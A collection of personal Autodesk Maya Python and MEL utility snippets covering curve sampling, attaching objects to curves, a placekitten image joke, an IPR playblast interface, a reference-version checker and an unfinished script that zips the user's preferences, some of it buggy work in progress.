dist = mag(list[i], point)
if dist < min:
min = dist
index = i
return index
def mag(v1,v2):
return sqrt(pow(v2[0]-v1[0],2) + pow(v2[1]-v1[1],2) + pow(v2[2]-v1[2],2))
def cross(a, b):
c = [a[1]*b[2] - a[2]*b[1],
a[2]*b[0] - a[0]*b[2],
a[0]*b[1] - a[1]*b[0]]
return c
def positionsFromParams(curve, paramsList):
pos = []
for u in paramsList:
pos.append(mc.pointPosition(curve+'.u['+str(u)+']' ))
return pos
def equidistantPoints(curve, numPoints, tolerance = 0.005):
'''plot equidistant points on a curve, return list of u params'''
edgeShape = mc.listRelatives(curve,s=1)[0]
maxU = mc.getAttr(edgeShape+".maxValue")
ald = cmds.arcLengthDimension( curve+'.u['+str(maxU)+']')
uParamsList = [0.0]
curveTotalLength = mc.getAttr(ald+".arcLength")
for i in range(numPoints-2):
targetLength = curveTotalLength/(numPoints-1)*(i+1)
uDelta = 1.0*maxU/2
uparam = uDelta
delta = tolerance + 1
counter = 0
while delta > tolerance:
mc.setAttr(ald+".uParamValue", uparam )
length = mc.getAttr(ald+".arcLength")
delta = fabs(length-targetLength)
uDelta /= 2
if length>targetLength:
uparam -= uDelta
else:
uparam += uDelta
#print(str(uparam)+" "+str(uDelta)+" "+str(counter)+" "+str(length))
uParamsList.append(uparam)
uParamsList.append(maxU)
mc.delete(ald)
return uParamsList
attach to curve with ribbon
import maya.cmds as mc
from math import sqrt
def attachToClosestPointOnCurve(useCurveOnSurface=True):
#last element should be curve , no error checking - snaps to cloest point on mesh using motionPath
sel = mc.ls(sl=1)
curveObj = sel[len(sel)-1]
sel.pop()
if useCurveOnSurface:
#positions = []
#for ob in sel:
# positions.append(mc.xform(ob, q=1, ws=1, t=1))
#curve = mc.curve( d=1, p=positions)
bb = mc.xform(curveObj,ws=1,bb=1,q=1)
size = sqrt(pow(bb[3]-bb[0],2) + pow(bb[4]-bb[1],2) + pow(bb[5]-bb[2],2)) / 150
c1 = mc.offsetCurve(curveObj , d=(size))
c2 = mc.offsetCurve(curveObj , d=(-size))
spans = mc.getAttr(curveObj+".spans")
lofted = mc.loft(c1, c2, d=1, po=0, ch=0, rn=True, ar=True, u=1, ss=1 )
uvalue = mc.getAttr(lofted[0]+".minMaxRangeU.maxValueU")
mc.delete(c1,c2)
surfCurve = mc.curveOnSurface(lofted, d=3, uv= ((uvalue/2 , spans) , (uvalue/2 , spans-spans/3) , (uvalue/2 , spans-spans/3 * 2) , (uvalue/2 , 0)), k=(0,0,0,1,1,1) )
curveObj = surfCurve
npc = mc.createNode( 'nearestPointOnCurve')
mc.connectAttr(mc.listRelatives(curveObj,s=1)[0]+".worldSpace[0]", npc+".inputCurve", f=1)
for ob in sel:
#parm = jc_closestPointOnCurve(mc.xform(ob, q=1, ws=1, t=1), curveObj)
pos = mc.xform(ob, q=1, ws=1, t=1)
mc.setAttr(npc+".inPosition", pos[0], pos[1], pos[2], type="double3")
parm = mc.getAttr(npc+".parameter")
#loc = mc.spaceLocator(n=ob+"_pointOnCurve")
pathAnim = mc.pathAnimation( ob, c=curveObj )
inputs = mc.listConnections(pathAnim+".uValue", s=1)
mc.disconnectAttr(inputs[0]+".output",pathAnim+".uValue")
mc.setAttr(pathAnim+".uValue",parm)
mc.delete(npc)
attachToClosestPointOnCurve()
add kitten
import urllib2
import os
import maya.cmds as cmds
from random import randint
def kitten():
tempDir = cmds.internalVar(userTmpDir=True)
kitten = tempDir+'kitten.png';
f = open(kitten,'wb')
x = randint(200,600)
y = randint(200,600)
err = f.write(urllib2.urlopen('http://placekitten.com/g/'+str(x)+'/'+str(y)).read())
f.close()
window = cmds.window(t="miaow",widthHeight=(x,y))
cmds.paneLayout()
cmds.image( image=kitten,bgc=[.6,.6,.6] )
cmds.showWindow( window )
kitten()
reload
import iprPlayblast reload(iprPlayblast) iprPlayblast.UI();
Ipr batch
//mel stuff
source bernie
whereIs RenderViewWindow
setAttr "defaultRenderGlobals.imageFormat" 7; //8 32;
RenderViewWindow;
renderWindowRender redoPreviousIprRender renderView;
stopIprRendering renderView;
proc string pad(float $n){return ($n<1000)? ( ($n<100)?( ($n<10)?"000"+$n:"00"+$n ):"0"+$n ) : $n+"";}
renderWindowRender redoPreviousIprRender renderView;
float $e = `playbackOptions -query -maxTime`;
float $s = `playbackOptions -query -minTime`;
for($i = $s;$i<$e;$i++){
$startTime = `timerX`;
while(`timerX -st $startTime`<5){
//nothing
}
$frame = pad(`currentTime -q`);
$dir = `internalVar -utd`;
renderWindowEditor -e -writeImage ($dir+"/temp"+$frame) renderView;
playButtonStepForward;
}
import maya.cmds as mc
import threading
import os
def test():
print "test2"
widgets = {}
def UI():
if mc.window("iprPlayblast", exists = True):
mc.deleteUI("iprPlayblast")
widgets["window"] = mc.window("iprPlayblast", title = "Playblast IPR", mnb = False, mxb = False, resizeToFitChildren=1, w = 150, h = 100)
mc.frameLayout( lv=0, borderStyle='etchedIn', mh=5, mw=5 )
mc.checkBoxGrp(numberOfCheckBoxes=1, label='', label1='Force IPR restart on each frame' )
mc.columnLayout()
mc.intSliderGrp( label='Seconds per frame : ', field=True, minValue=0, fieldMaxValue=99999, value=30 )
mc.textFieldButtonGrp( label='Test timing : ', text='use "Start IPR"...', editable = False, buttonLabel='Start IPR')
mc.setParent( '..' )
mc.separator( h=8 )
workspaceDir = mc.internalVar(uwd=True)
widgets["displayFilenameGrp"] = mc.textFieldGrp( label='', text='', editable=False )
widgets["saveDirGrp"] = mc.textFieldButtonGrp( label='Save Dir : ', text=workspaceDir, buttonLabel='Browse', bc = UIgetDir)
filename = os.path.splitext(os.path.basename(mc.file(q=True,sn=True)))[0]
filename = ('temp',filename)[len(filename) != 0]
widgets["saveFileGrp"] = mc.textFieldGrp( label='Filename : ', text=filename, editable=True, tcc = UIsetDisplayFilename )
widgets["imageFormatGrp"] = mc.optionMenuGrp( label='Format : ', changeCommand=UIsetDisplayFilename )
mc.menuItem( label='iff' )
mc.menuItem( label='jpg' )
mc.menuItem( label='png (not recommended)' )
widgets["paddingGrp"] = mc.intFieldGrp( numberOfFields=1, label='Padding : ', value1=4, cc = UIsetDisplayFilename)
mc.separator( h=8 )
mc.intFieldGrp( numberOfFields=2, label='Start / End frame : ', value1= mc.playbackOptions(minTime=1,q=1), value2=mc.playbackOptions(maxTime=1,q=1))
mc.checkBoxGrp(numberOfCheckBoxes=1, label='', label1='Play sequence when done' )
mc.separator( h=8 )
mc.setParent( '..' )
mc.rowLayout(nc = 1,adjustableColumn=1,columnAttach=[(1, 'both', 0)])
mc.button(label="Playblast!", align='center',height=40 )
mc.setParent( '..' )
mc.rowLayout( nc = 2,columnWidth2=(150, 150), adjustableColumn=1, columnAlign=(2, 'right'), columnAttach=[(1, 'both', 0), (2, 'both', 0)] )
mc.button(label="Close", align='center' )
mc.button(label="Help", align='center' )
mc.setParent( '..' )
mc.showWindow(widgets["window"])
UIsetDisplayFilename()
def UIsetDisplayFilename(*args):
dir = mc.textFieldGrp(widgets["saveDirGrp"], query=True, text=True)
file = mc.textFieldGrp(widgets["saveFileGrp"], query=True, text=True)
format = mc.optionMenuGrp(widgets["imageFormatGrp"],query=True, sl=True)
formatList = ("iff","jpg","png")
formatType = (7,8,32)
format = formatList[format-1]
padding = mc.intFieldGrp( widgets["paddingGrp"],query=True, value1=True)
frame = str(int(mc.currentTime( query=True )))
frame = frame.zfill(padding)
mc.textFieldGrp(widgets["displayFilenameGrp"], edit = True, text=(dir+file+"."+frame+"."+format))
def UIsetFilename(*args):
#widgets["saveFileGrp"].value
print args[0]
UIsetDisplayFilename()
def UIgetDir(*args):
returnPath = mc.fileDialog2(fm = 3, fileFilter = None, ds = 1, okc = "Choose folder")
mc.textFieldButtonGrp(widgets["saveDirGrp"],text = os.path.normcase(returnPath[0]), edit = True)
UIsetDisplayFilename()
def UIgetSetFormat(*args) :
format = mc.optionMenuGrp(widgets["imageFormatGrp"],query=True, ils=True)
'''
timer code taken from Nathan Horne: http://nathanhorne.com/?p=116
Usage:
def timerTest():
print 'Hello World!'
#create and start a timer
timer = Timer(30, timerTest, repeat=True)
timer.start()
#To stop the timer
timer.stop()
'''
try:
from maya.utils import executeInMainThreadWithResult
except:
executeInMainThreadWithResult = None
class Timer(threading.Thread):
def __init__(self, interval, function, args=[], kwargs={}, repeat=True):
self.interval = interval
self.function = function
self.repeat = repeat
self.args = args
self.kwargs = kwargs
self.event = threading.Event()
threading.Thread.__init__(self)
def run(self):
def _mainLoop():
self.event.wait(self.interval)
if not self.event.isSet():
if executeInMainThreadWithResult:
executeInMainThreadWithResult(self.function, *self.args, **self.kwargs)
else:
self.function(*self.args, **self.kwargs)
if self.repeat:
while not self.event.isSet():
_mainLoop()
else:
_mainLoop()
self.stop()
def start(self):
self.event.clear()
threading.Thread.start(self)
def stop(self):
self.event.set()
threading.Thread.__init__(self)
Ref check wip
import maya.cmds as mc
import maya.mel as mel
from functools import partial
from os import listdir
from os.path import split, isfile, join, dirname
import subprocess
class refCheck(object):
def __init__(self):
self.UI()
def buttonPush(*args):
refPath = dirname(args[1])
refPath = refPath.replace('/', '\\')
subprocess.Popen('explorer "%s"' % refPath)
def UI(self):
scene = mc.file(query=True,sn=True)
allrefs = mc.file(query=True, list=True, withoutCopyNumber=True)
fileRefs = sorted(list(set([item for item in allrefs if item.endswith('.ma') or item.endswith('.mb')])))
mc.window(title='Check latest Refs',resizeToFitChildren=1)
mc.columnLayout(adjustableColumn=True, columnAlign='center',rowSpacing=10)
mc.rowLayout(numberOfColumns=1)
cmds.text(w=460,l="\nCheck if each ref and sub-ref is the latest in its folder");
cmds.setParent(upLevel=True)
cmds.separator()
for ref in fileRefs:
if ref != scene:
onlyfiles = [ f for f in listdir(split(ref)[0]) if isfile(join(split(ref)[0],f)) and f.endswith(('.mb','.ma')) ]
#beautiful code below
refFileName = ref.rpartition('/')[2]
refStepName = ref.rpartition('/')[0].rpartition('/')[2];
refChar = ref.rpartition('/')[0].rpartition('/')[0].rpartition('/')[0];
refCharName = refChar.rpartition('/')[0].rpartition('/')[2]+" "+refChar.rpartition('/')[2];
refCharName = refCharName.lower();
latestRef = sorted(onlyfiles)[-1];
col = [.3,.8,.3];
if(refFileName!=latestRef):
col = [.9,.1,.1];
mc.rowLayout(numberOfColumns=8)
cmds.separator()
cmds.button(w=50,l=refStepName,en=0)
cmds.button(w=150,l=refCharName,bgc=col)
cmds.text(w=270,l=" "+refFileName+" -> "+latestRef+" ")
cmds.button(w=55,l="browse",c=partial(self.buttonPush, ref))
cmds.button(w=65,l="load latest")
cmds.checkBox(l="")
cmds.separator()
cmds.setParent(upLevel=True)
cmds.separator()
mc.rowColumnLayout(nc=2,cs=(2,5))
cmds.button(w=85,l="load checked")
cmds.button(w=85,l="close")
cmds.setParent(upLevel=True)
mc.showWindow()
w = refCheck()
Upload Prefs to FTP wip
import maya.cmds as cmds
import zipfile, os
scriptDir = cmds.internalVar(usd=True)
prefDir = cmds.internalVar(upd=True)
presetDir = cmds.internalVar(ups=True)
tempDir = cmds.internalVar(utd=True)
#shelfDir = cmds.internalVar(ush=True)
zfilename = tempDir+"mayaprefs.zip"
zipf = zipfile.ZipFile(zfilename, "w", compression=zipfile.ZIP_DEFLATED )
path = prefDir
recursive_zip(zipf, path)
zipf.close()
def recursive_zip(zipf, directory, folder=None):
nodes = os.listdir(directory)
for item in nodes:
if os.path.isfile(item):
zipf.write(item, folder, zipfile.ZIP_DEFLATED)
elif os.path.isdir(item):
recursive_zip(zipf, os.path.join(directory, item), item)